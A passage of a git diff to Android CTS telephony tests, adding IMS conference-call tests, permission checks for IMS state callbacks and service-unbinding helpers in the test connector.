+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        // Wait till second call is in active state
+        isCallActive(mCall1, mCallSession1);
+        mCall1.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall1, mCallSession1);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        resetCallSessionObjects();
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testConferenceCall() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        Log.i(LOG_TAG, "testConference ");
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+        addOutgoingCalls();
+        addConferenceCall(mCall1, mCall2);
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+        assertTrue("Conference call is not added", mServiceCallBack.getService()
+                .getConferenceCallCount() > 0);
+
+        Call conferenceCall = mServiceCallBack.getService().getLastConferenceCall();
+        assertNotNull("Unable to add conference call, its null", conferenceCall);
+
+        ConferenceHelper confHelper = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getConferenceHelper();
+
+        TestImsCallSessionImpl confcallSession = confHelper.getConferenceSession();
+        assertTrue("Conference call is not Active", confcallSession.isInCall());
+
+        //Verify mCall1 and mCall2 disconnected after conference Merge success
+        assertParticiapantDisconnected(mCall1);
+        assertParticiapantDisconnected(mCall2);
+
+        //Verify conference participant connections are connected.
+        assertParticiapantAddedToConference(2);
+
+        //Disconnect the conference call.
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE);
+        conferenceCall.disconnect();
+
+        //Verify conference participant connections are disconnected.
+        assertParticiapantAddedToConference(0);
+        isCallDisconnected(conferenceCall, confcallSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        resetCallSessionObjects();
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testConferenceCallFailure() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        Log.i(LOG_TAG, "testConferenceCallFailure ");
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+        addOutgoingCalls();
+        mCallSession2.addTestType(TestImsCallSessionImpl.TEST_TYPE_CONFERENCE_FAILED);
+        addConferenceCall(mCall1, mCall2);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE);
+        //Verify foreground call is in Active state after merge failed.
+        assertTrue("Call is not in Active State", (mCall2.getDetails().getState()
+                == Call.STATE_ACTIVE));
+        //Verify background call is in Hold state after merge failed.
+        assertTrue("Call is not in Holding State", (mCall1.getDetails().getState()
+                == Call.STATE_HOLDING));
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        mCall2.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall2, mCallSession2);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        //Wait till background call is in active state
+        isCallActive(mCall1, mCallSession1);
+        mCall1.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall1, mCallSession1);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        resetCallSessionObjects();
+        waitForUnboundService();
+    }
+
+    void addConferenceCall(Call call1, Call call2) {
+        InCallServiceStateValidator inCallService = mServiceCallBack.getService();
+        int currentConfCallCount = 0;
+        if (inCallService != null) {
+            currentConfCallCount = inCallService.getConferenceCallCount();
+        }
+
+        // Verify that the calls have each other on their conferenceable list before proceeding
+        List<Call> callConfList = new ArrayList<>();
+        callConfList.add(call2);
+        assertCallConferenceableList(call1, callConfList);
+
+        callConfList.clear();
+        callConfList.add(call1);
+        assertCallConferenceableList(call2, callConfList);
+
+        call2.conference(call1);
+    }
+
+    void assertCallConferenceableList(final Call call, final List<Call> conferenceableList) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return conferenceableList;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return call.getConferenceableCalls();
+                    }
+                }, WAIT_FOR_CONDITION,
+                        "Call: " + call + " does not have the correct conferenceable call list."
+        );
+    }
+
+    private void assertParticiapantDisconnected(Call call) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return ((call.getState() == Call.STATE_DISCONNECTED)) ? true : false;
+                    }
+                }, WAIT_FOR_CALL_DISCONNECT, "Call Disconnected");
+    }
+
+    private void assertParticiapantAddedToConference(int count) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return (mParticipantCount == count) ? true : false;
+                    }
+                }, WAIT_FOR_CALL_CONNECT, "Call Added");
+    }
+
+    private void addOutgoingCalls() throws Exception {
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        // Place first outgoing call
+        final Uri imsUri1 = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter),
+                null);
+        Bundle extras1 = new Bundle();
+
+        telecomManager.placeCall(imsUri1, extras1);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        mCall1 = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+        mCallSession1 = sServiceConnector.getCarrierService().getMmTelFeature().getImsCallsession();
+        isCallActive(mCall1, mCallSession1);
+        assertTrue("Call is not in Active State", (mCall1.getDetails().getState()
+                == Call.STATE_ACTIVE));
+
+        // Place second outgoing call
+        final Uri imsUri2 = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter),
+                null);
+        Bundle extras2 = new Bundle();
+
+        telecomManager.placeCall(imsUri2, extras2);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        mCall2 = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+        assertTrue("Call is not in Hold State", (mCall1.getDetails().getState()
+                == Call.STATE_HOLDING));
+
+        //Wait till the object of TestImsCallSessionImpl for second call created.
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        TestMmTelFeature mmtelfeatue = sServiceConnector.getCarrierService()
+                                .getMmTelFeature();
+                        return (mmtelfeatue.getImsCallsession() != mCallSession1) ? true : false;
+                    }
+                }, WAIT_FOR_CONDITION, "CallSession Created");
+
+        mCallSession2 = sServiceConnector.getCarrierService().getMmTelFeature().getImsCallsession();
+        isCallActive(mCall2, mCallSession2);
+        assertTrue("Call is not in Active State", (mCall2.getDetails().getState()
+                == Call.STATE_ACTIVE));
+    }
+
+    private void resetCallSessionObjects() {
+        mCall1 = mCall2 = null;
+        mCallSession1 = mCallSession2 = null;
+        ConferenceHelper confHelper = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getConferenceHelper();
+        if (confHelper != null) {
+            confHelper.clearSessions();
+        }
+    }
+
+    public void waitForUnboundService() {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        InCallServiceStateValidator inCallService = mServiceCallBack.getService();
+                        return (inCallService.isServiceUnBound()) ? true : false;
+                    }
+                }, WAIT_FOR_SERVICE_TO_UNBOUND, "Service Unbound");
+    }
+
+    public void isCallActive(Call call, TestImsCallSessionImpl callsession) {
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_ACTIVE, WAIT_FOR_CALL_STATE));
+        assertNotNull("Unable to get callSession, its null", callsession);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return (callsession.isInCall()) ? true : false;
+                    }
+                }, WAIT_FOR_CONDITION, "Call Active");
+    }
+
+    public void isCallDisconnected(Call call, TestImsCallSessionImpl callsession) {
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTED, WAIT_FOR_CALL_STATE));
+        assertNotNull("Unable to get callSession, its null", callsession);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return (callsession.isInTerminated()) ? true : false;
+                    }
+                }, WAIT_FOR_CONDITION, "Call Disconnected");
+    }
+
+    private void setCallID(String callid) {
+        assertNotNull("Call Id is set to null", callid);
+        mCurrentCallId = callid;
+    }
+
+    public void addCall(Call call) {
+        String callid = getCallId(call);
+        setCallID(callid);
+        synchronized (mCalls) {
+            mCalls.put(callid, call);
+        }
+    }
+
+    public String getCallId(Call call) {
+        String str = call.toString();
+        String[] arrofstr = str.split(",", 3);
+        int index = arrofstr[0].indexOf(":");
+        String callId = arrofstr[0].substring(index + 1);
+        return callId;
+    }
+
+    public Call getCall(String callId) {
+        synchronized (mCalls) {
+            if (mCalls.isEmpty()) {
+                return null;
+            }
+
+            for (Map.Entry<String, Call> entry : mCalls.entrySet()) {
+                if (entry.getKey().equals(callId)) {
+                    Call call = entry.getValue();
+                    assertNotNull("Call is not added, its null", call);
+                    return call;
+                }
+            }
+        }
+        return null;
+    }
+
+    private void removeCall(Call call) {
+        if (mCalls.isEmpty()) {
+            return;
+        }
+
+        String callid = getCallId(call);
+        Map.Entry<String, Call>[] entries = mCalls.entrySet().toArray(new Map.Entry[mCalls.size()]);
+        for (Map.Entry<String, Call> entry : entries) {
+            if (entry.getKey().equals(callid)) {
+                mCalls.remove(entry.getKey());
+                mCurrentCallId = null;
+            }
+        }
+    }
+
+    class ServiceCallBack extends InCallServiceCallbacks {
+
+        @Override
+        public void onCallAdded(Call call, int numCalls) {
+            Log.i(LOG_TAG, "onCallAdded, Call: " + call + ", Num Calls: " + numCalls);
+            addCall(call);
+            countDownLatch(LATCH_IS_ON_CALL_ADDED);
+        }
+
+        @Override
+        public void onCallRemoved(Call call, int numCalls) {
+            Log.i(LOG_TAG, "onCallRemoved, Call: " + call + ", Num Calls: " + numCalls);
+            removeCall(call);
+            countDownLatch(LATCH_IS_ON_CALL_REMOVED);
+        }
+
+        @Override
+        public void onCallStateChanged(Call call, int state) {
+            Log.i(LOG_TAG, "onCallStateChanged " + state + "Call: " + call);
+
+            switch(state) {
+                case Call.STATE_DIALING : {
+                    countDownLatch(LATCH_IS_CALL_DIALING);
+                    break;
+                }
+                case Call.STATE_ACTIVE : {
+                    countDownLatch(LATCH_IS_CALL_ACTIVE);
+                    break;
+                }
+                case Call.STATE_DISCONNECTING : {
+                    countDownLatch(LATCH_IS_CALL_DISCONNECTING);
+                    break;
+                }
+                case Call.STATE_DISCONNECTED : {
+                    countDownLatch(LATCH_IS_CALL_DISCONNECTED);
+                    break;
+                }
+                case Call.STATE_RINGING : {
+                    countDownLatch(LATCH_IS_CALL_RINGING);
+                    break;
+                }
+                case Call.STATE_HOLDING : {
+                    countDownLatch(LATCH_IS_CALL_HOLDING);
+                    break;
+                }
+                default:
+                    break;
+            }
+        }
+
+        @Override
+        public void onChildrenChanged(Call call, List<Call> children) {
+            if (call.getDetails().hasProperty(Call.Details.PROPERTY_CONFERENCE)) {
+                mParticipantCount = children.size();
+            }
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+            throws Exception {
+        String str =  TelephonyUtils.executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER
+                + packageName);
+        return str;
+    }
+
+    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+        String str = TelephonyUtils.executeShellCommand(instrumentation,
+                COMMAND_GET_DEFAULT_DIALER);
+        return str;
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForChanged();
+    }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index e7a6286..3274bd0 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -37,6 +37,7 @@
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.ImsStateCallback;
 import android.telephony.ims.feature.MmTelFeature;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -579,6 +580,59 @@
         } catch (SecurityException e) {
             fail("getRegistrationTransportType requires READ_PRIVILEGED_PHONE_STATE permission.");
         }
+
+        ImsStateCallback callback = new ImsStateCallback() {
+            @Override
+            public void onUnavailable(int reason) { }
+            @Override
+            public void onAvailable() { }
+            @Override
+            public void onError() { }
+        };
+
+        try {
+            mMmTelManager.registerImsStateCallback(Runnable::run, callback);
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        } catch (ImsException ie) {
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.READ_PRECISE_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            mMmTelManager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            fail("uregisterImsStateCallback requires no permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            mMmTelManager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            // unreachable, already passed permission check
+            fail("uregisterImsStateCallback requires no permission.");
+        }
     }
 
     private void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRcsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRcsManagerTest.java
new file mode 100644
index 0000000..e5d9804
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRcsManagerTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.Looper;
+import android.telephony.SubscriptionManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.ImsStateCallback;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsRcsManagerTest {
+
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+
+    @BeforeClass
+    public static void beforeAllTests() {
+        // assumeTrue() in @BeforeClass is not supported by our test runner.
+        // Resort to the early exit.
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+
+        if (Looper.getMainLooper() == null) {
+            Looper.prepareMainLooper();
+        }
+    }
+
+    @Before
+    public void beforeTest() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+    }
+
+    /**
+     * Test Permissions on various APIs.
+     */
+    @Test
+    public void testMethodPermissions() throws Exception {
+        if (!ImsUtils.shouldTestTelephony()) {
+            return;
+        }
+
+        // This verifies the permission checking in ITelephony,
+        // not the IMS service's behavior.
+        // Since SecurityException has the highest priority,
+        // DEFAULT_SUBSCRIPTION_ID is enough to check permissions.
+        // Though it throws an ImsException, we ignore that.
+        if (sTestSub == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            sTestSub = SubscriptionManager.DEFAULT_SUBSCRIPTION_ID;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsRcsManager rcsManager = imsManager.getImsRcsManager(sTestSub);
+
+        ImsStateCallback callback = new ImsStateCallback() {
+            @Override
+            public void onUnavailable(int reason) { }
+            @Override
+            public void onAvailable() { }
+            @Override
+            public void onError() { }
+        };
+
+        try {
+            rcsManager.registerImsStateCallback(Runnable::run, callback);
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE, "
+                    + "ACCESS_RCS_USER_CAPABILITY_EXCHANGE or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        } catch (ImsException ie) {
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE, "
+                    + "ACCESS_RCS_USER_CAPABILITY_EXCHANGE or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(rcsManager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.READ_PRECISE_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            rcsManager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            fail("uregisterImsStateCallback requires no permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(rcsManager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires "
+                    + "ACCESS_RCS_USER_CAPABILITY_EXCHANGE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            rcsManager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            // unreachable, already passed permission check
+            fail("uregisterImsStateCallback requires no permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(rcsManager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            rcsManager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            // unreachable, already passed permission check
+            fail("uregisterImsStateCallback requires no permission.");
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index ae6306a..a994d988 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -81,6 +81,12 @@
     private static final String COMMAND_SET_TEST_MODE_ENABLED = "src set-test-enabled ";
     private static final String COMMAND_SET_D2D_ENABLED = "d2d set-device-support ";
 
+    private boolean mIsTestTypeExecutor = false;
+
+    public void setExecutorTestType(boolean type) {
+        mIsTestTypeExecutor = type;
+    }
+
     private class TestCarrierServiceConnection implements ServiceConnection {
 
         private final CountDownLatch mLatch;
@@ -117,7 +123,7 @@
 
         @Override
         public void onServiceDisconnected(ComponentName name) {
-            mCarrierService = null;
+            mExternalService = null;
         }
     }
 
@@ -143,11 +149,13 @@
             mIsServiceOverridden = true;
             switch (mConnectionType) {
                 case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
-                    setCarrierImsService("none");
+                    boolean unbindSent = setCarrierImsService("none");
+                    if (unbindSent) waitForCarrierPackageUnbind();
                     break;
                 }
                 case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
-                    setDeviceImsService("");
+                    boolean unbindSent = setDeviceImsService("");
+                    if (unbindSent) waitForDevicePackageUnbind();
                     break;
                 }
                 case CONNECTION_TYPE_DEFAULT_SMS_APP: {
@@ -157,6 +165,35 @@
             }
         }
 
+        void waitForCarrierPackageUnbind() {
+            TestImsService carrierService = getCarrierService();
+            if (carrierService == null) return;
+            // First unbind the local services
+            removeLocalCarrierServiceConnection();
+            // Then wait for AOSP to unbind if there is still an active binding.
+            boolean isBound = carrierService.isTelephonyBound();
+            if (ImsUtils.VDBG) Log.i(TAG, "waitForCarrierPackageUnbind: isBound=" + isBound);
+            if (isBound) {
+                // Wait for telephony to unbind to local ImsService
+                carrierService.waitForLatchCountdown(TestImsService.LATCH_ON_UNBIND);
+            }
+        }
+
+        void waitForDevicePackageUnbind() throws Exception {
+            // Wait until the ImsService unbinds
+            ITestExternalImsService externalService = getExternalService();
+            if (externalService == null) return;
+            // First unbind the local services
+            removeLocalExternalServiceConnection();
+            // Then wait for AOSP to unbind if there is still an active binding.
+            boolean isBound = externalService.isTelephonyBound();
+            if (ImsUtils.VDBG) Log.i(TAG, "waitForDevicePackageUnbind: isBound=" + isBound);
+            if (isBound) {
+                // Wait for telephony to unbind to external ImsService
+                externalService.waitForLatchCountdown(TestImsService.LATCH_ON_UNBIND);
+            }
+        }
+
         boolean overrideService(ImsFeatureConfiguration config) throws Exception {
             mIsServiceOverridden = true;
             switch (mConnectionType) {
@@ -480,6 +517,11 @@
             return false;
         }
         mCarrierService.resetState();
+        if (mIsTestTypeExecutor) {
+            mCarrierService.setExecutorTestType(mIsTestTypeExecutor);
+            // reset the mIsTestTypeExecutor value
+            mIsTestTypeExecutor = false;
+        }
         return true;
     }
 
@@ -559,17 +601,27 @@
         }
     }
 
-    // Detect and disconnect all active services.
-    void disconnectServices() throws Exception {
-        // Remove local connection
+    void removeLocalCarrierServiceConnection() {
         if (mCarrierServiceConn != null) {
             mInstrumentation.getContext().unbindService(mCarrierServiceConn);
+            mCarrierServiceConn = null;
             mCarrierService = null;
         }
+    }
+
+    void removeLocalExternalServiceConnection() {
         if (mExternalServiceConn != null) {
             mInstrumentation.getContext().unbindService(mExternalServiceConn);
+            mExternalServiceConn = null;
             mExternalService = null;
         }
+    }
+
+    // Detect and disconnect all active services.
+    void disconnectServices() throws Exception {
+        // Remove local connections
+        removeLocalCarrierServiceConnection();
+        removeLocalExternalServiceConnection();
         mDeviceServiceConnection.restoreOriginalPackage();
         mCarrierServiceConnection.restoreOriginalPackage();
         mDefaultSmsAppConnection.restoreOriginalPackage();
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 19c7714..dd545d6 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -43,20 +43,24 @@
 import android.telephony.cts.AsyncSmsMessageListener;
 import android.telephony.cts.CarrierCapability;
 import android.telephony.cts.SmsReceiverHelper;
+import android.telephony.cts.TelephonyUtils;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsMmTelManager;
 import android.telephony.ims.ImsRcsManager;
 import android.telephony.ims.ImsReasonInfo;
 import android.telephony.ims.ImsRegistrationAttributes;
+import android.telephony.ims.ImsStateCallback;
 import android.telephony.ims.ProvisioningManager;
 import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.RcsContactUceCapability;
 import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.RegistrationManager;
 import android.telephony.ims.RtpHeaderExtensionType;
+import android.telephony.ims.SipDelegateManager;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.feature.RcsFeature;
 import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
 import android.telephony.ims.stub.CapabilityExchangeEventListener;
 import android.telephony.ims.stub.ImsConfigImplBase;
@@ -84,14 +88,13 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
-import android.util.Log;
-
 /**
  * CTS tests for ImsService API.
  */
@@ -100,10 +103,36 @@
 
     private static ImsServiceConnector sServiceConnector;
 
+    private static final int KEY_VOLTE_PROVISIONING_STATUS =
+            ProvisioningManager.KEY_VOLTE_PROVISIONING_STATUS;
+    private static final int KEY_VT_PROVISIONING_STATUS =
+            ProvisioningManager.KEY_VT_PROVISIONING_STATUS;
+    private static final int KEY_VOICE_OVER_WIFI_ENABLED_OVERRIDE =
+            ProvisioningManager.KEY_VOICE_OVER_WIFI_ENABLED_OVERRIDE;
+    private static final int KEY_EAB_PROVISIONING_STATUS =
+            ProvisioningManager.KEY_EAB_PROVISIONING_STATUS;
+
+    private static final int MMTEL_CAP_VOICE = MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE;
+    private static final int MMTEL_CAP_VIDEO = MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VIDEO;
+    private static final int MMTEL_CAP_UT = MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT;
+    private static final int MMTEL_CAP_SMS = MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_SMS;
+    private static final int MMTEL_CAP_COMPOSER =
+            MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER;
+
     private static final int RCS_CAP_NONE = RcsImsCapabilities.CAPABILITY_TYPE_NONE;
     private static final int RCS_CAP_OPTIONS = RcsImsCapabilities.CAPABILITY_TYPE_OPTIONS_UCE;
     private static final int RCS_CAP_PRESENCE = RcsImsCapabilities.CAPABILITY_TYPE_PRESENCE_UCE;
 
+    private static final int IMS_REGI_TECH_NONE = ImsRegistrationImplBase.REGISTRATION_TECH_NONE;
+    private static final int IMS_REGI_TECH_LTE = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+    private static final int IMS_REGI_TECH_IWLAN = ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN;
+    private static final int IMS_REGI_TECH_CROSS_SIM =
+            ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM;
+    private static final int IMS_REGI_TECH_NR = ImsRegistrationImplBase.REGISTRATION_TECH_NR;
+
+    private static final String SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING =
+            "SUPPORT_PROVISION_STATUS_FOR_CAPABILITY";
+
     private static final String MSG_CONTENTS = "hi";
     private static final String EXPECTED_RECEIVED_MESSAGE = "foo5";
     private static final String DEST_NUMBER = "5555554567";
@@ -122,6 +151,8 @@
     private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
     private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
 
